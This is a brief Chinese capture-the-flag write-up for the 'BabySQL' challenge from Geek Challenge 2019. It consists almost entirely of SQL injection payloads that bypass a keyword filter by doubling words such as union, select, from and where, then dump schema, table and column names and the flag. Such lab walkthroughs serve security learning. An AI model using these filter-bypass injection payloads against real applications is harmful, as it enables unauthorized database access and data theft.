[极客大挑战 2019]BabySQL

1.打开靶机

2.尝试

pwd'union select 1,2,3#

• 过滤掉了union 和 select,双写试试

  pwd'ununionion selselectect 1,2,3#
  

  

2.爆库

• 1

  pwd'ununionion seselectlect 1,2,version()#
  

  

• 2

  pwd'union select 1,2,database()#
  

  

• 3

  pwd'ununionion seselectlect 1,2,group_concat(schema_name) frofromm(infoorrmation_schema.schemata)#
  

  

• 4

  pwd'ununionion seselectlect 1,2,group_concat(table_name) frofromm(infoorrmation_schema.tables) whwhereere table_schema="ctf"#
  

  

• 5

  pwd'ununionion seselectlect 1,2,group_concat(column_name) frofromm(infoorrmation_schema.columns) whwhereere table_name="Flag"#
  

  

• 6

  pwd'ununionion seselectlect 1,2,group_concat(flag) frofromm(ctf.Flag)#